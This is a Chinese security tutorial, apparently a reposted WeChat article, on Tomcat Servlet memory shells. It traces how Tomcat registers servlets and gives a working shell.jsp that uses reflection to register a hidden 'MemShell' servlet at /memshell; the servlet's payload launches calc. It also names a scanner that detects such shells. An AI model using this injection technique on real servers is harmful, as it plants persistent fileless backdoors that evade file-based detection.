需结合 https://xz.aliyun.com/news/12075 文章来看
什么是 Servlet 内存马?
Servlet 内存马是通过在 Web 容器中动态注册、修改或劫持现有 Servlet 的逻辑,来响应特定的 HTTP 请求,实现持久化后门的技术。
环境搭建
创建 Java web 项目。
在项目下,创建一个类。
编写一段代码。
package com.xg.ntai.memshell;import jakarta.servlet.annotation.WebServlet;import jakarta.servlet.http.HttpServlet;import jakarta.servlet.http.HttpServletRequest;import jakarta.servlet.http.HttpServletResponse;import java.io.IOException;@WebServlet("/customize")publicclassCustomizeServletextendsHttpServlet{@OverrideprotectedvoiddoGet(HttpServletRequest request, HttpServletResponse response)throws IOException { response.getWriter().println("CustomizeServlet"); }}
添加所需依赖,版本要对应。
简单分析
Ctrl+Shift+ A
查找 ContextConfig
类。
定位到 configureContext
代码部分,打上断点,进行调试。
configureContext
是 Tomcat 中 Catalina 容器在部署 Web 应用时用于动态配置 Context(Web 应用上下文)的核心方法。它负责将应用的配置(如 web.xml、注解、动态规则)加载到 Tomcat 的运行时环境中,直接影响 Web 应用的行为。
当 Tomcat 启动或热部署一个 Web 应用时,ContextConfig 会通过 configureContext 完成以下关键操作:
解析 web.xml:加载并应用 web.xml 中定义的 Servlet、Filter、Listener 等组件。 处理注解:扫描 @WebServlet、@WebFilter 等注解,动态注册相关组件。 配置安全性:设置 Realm(用户认证)、安全约束(URL 访问权限)等。 初始化环境:绑定 JNDI 资源、错误页面、MIME 类型等。
webxml:
servlets 和 servletMappings:
addChild()
this.context.addChild(wrapper)
负责将 WebXml 解析出的配置信息应用到当前的 Context 对象上。这个过程包括创建一个 Wrapper 对象,根据 WebXml 中配置的 Servlet 信息对其进行设置,然后将其添加到 Context 中。
-
this.context: Context 对象,代表一个 Web 应用的上下文环境。
wrapper 是 Servlet 的一个封装,包含了许多与 Servlet 相关的信息,比如 Servlet 的名称、初始化参数、安全角色引用等。
addServletMappingDecoded()
this.context.addServletMappingDecoded((String)entry.getKey(), (String)entry.getValue())
负责从 WebXml 对象中获取 Servlet 的映射关系,并将其添加到当前的 Context 对象中。
-
addServletMappingDecoded: Context 接口的方法,用于添加一个 Servlet 映射。 -
(String)entry.getKey(): Servlet 映射的 URL 模式。 -
(String)entry.getValue(): 与 URL 模式相关联的 Servlet 名称。
entry 是一个 Map 的 Entry 对象,其中 key 是 URL 模式,value 是 Servlet 的名称。
获取 Context
可通过 request.getServletContext()
获取。
动态添加自定义 Serlvet
新建 JSP 文件(shell.jsp),并写入以下代码:
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
public static class MemServlet extends HttpServlet {
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
ProcessBuilder processbuilder = new ProcessBuilder("calc");
processbuilder.start();
}
}
%>
<%
// 获取当前 JSP 页面所属的 ServletContext 对象。
// 这个对象代表了 Web 应用程序的环境,可以从中获取一些全局信息和资源。
ServletContext servletContext = request.getServletContext();
// org.apache.catalina.core.ApplicationContextFacade@6c55c244
// 使用反射机制获取 ServletContext 对象内部的私有字段 context,该字段类型为 ApplicationContext。
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
// private final org.apache.catalina.core.ApplicationContext org.apache.catalina.core.ApplicationContextFacade.context
applicationContextField.setAccessible(true);
// 获取 ApplicationContext 对象,该对象代表了当前 Web 应用程序的配置信息。
ApplicationContext applicationContext = (ApplicationContext)applicationContextField.get(servletContext);
// org.apache.catalina.core.ApplicationContext@10eccd6c
// 使用反射机制获取 ApplicationContext 对象内部的私有字段 context,该字段类型为 StandardContext。
// 该字段代表了当前 Web 应用程序的上下文信息,可以获取到当前 Web 应用程序的各个组件。
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
// private final org.apache.catalina.core.StandardContext org.apache.catalina.core.ApplicationContext.context
standardContextField.setAccessible(true);
// 获取 StandardContext 对象,该对象代表了当前 Web 应用程序的上下文信息。
StandardContext standardContext = (StandardContext)standardContextField.get(applicationContext);
// StandardEngine[Catalina].StandardHost[localhost].StandardContext[/memshell_war_exploded]
// 创建一个 Wrapper 对象,Wrapper 是 Tomcat 中用于封装 Servlet 的类。
// 每个 Servlet 在 Tomcat 中都有一个对应的 Wrapper 实例。
Wrapper wrapper = standardContext.createWrapper();
// 设置 Wrapper 的名称,这将作为 Servlet 的注册名称。
wrapper.setName("MemShell");
// 设置 Wrapper 指向的 Servlet 类为 MemServlet.class.getName()。
// 即我们在第一部分定义的 MemServlet 类的全限定名。
wrapper.setServletClass(MemServlet.class.getName());
// 实例化一个 MemServlet 对象,并将其设置为 Wrapper 的 Servlet 实例。
wrapper.setServlet(new MemServlet());
// 将 Wrapper 添加到当前 Web 应用程序的上下文信息中。
standardContext.addChild(wrapper);
// 注册一个 Servlet 映射,将 /memshell 路径映射到 MemShell 名称的 Servlet。
standardContext.addServletMappingDecoded("/memshell", "MemShell");
%>
这段代码的主要功能是在运行时动态地向 Web 应用程序中添加一个名为 "MemShell" 的 Servlet,并将其映射到 "/memshell" 路径。当访问该路径时,Servlet 将会执行 doGet 方法,启动一个计算器程序("calc")。
-
<%! %>
:JSP 的声明部分,用于在 JSP 页面中定义类、方法或字段。因为 MemServlet 类定义在这个部分,所以在整个 JSP 页面中都可以使用这个类。 -
MemServlet 类
:继承 HttpServlet 的静态内部类。HttpServlet 是 Java Servlet API 中的一个抽象类,用于处理 HTTP 请求。 -
doGet 方法
:重写的 doGet 方法,用于处理 HTTP GET 请求。每当该 Servlet 被 GET 方法请求时,它会执行 doGet 方法中的代码。 -
<% %>
:JSP 的脚本片段,用于在 JSP 页面中嵌入 Java 代码。这里的代码会在页面被访问时执行。
可以使用 tomcat-memshell-scanner。
原理是通过反射机制,访问 Tomcat 内部对象,实现对内存中 Servlet、Filter 和 Listener 的管理。
运行 shell.jsp 之前:
运行 shell.jsp 之后:
原文始发于微信公众号(走在网安路上的哥布林):Java Servlet 内存马浅析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论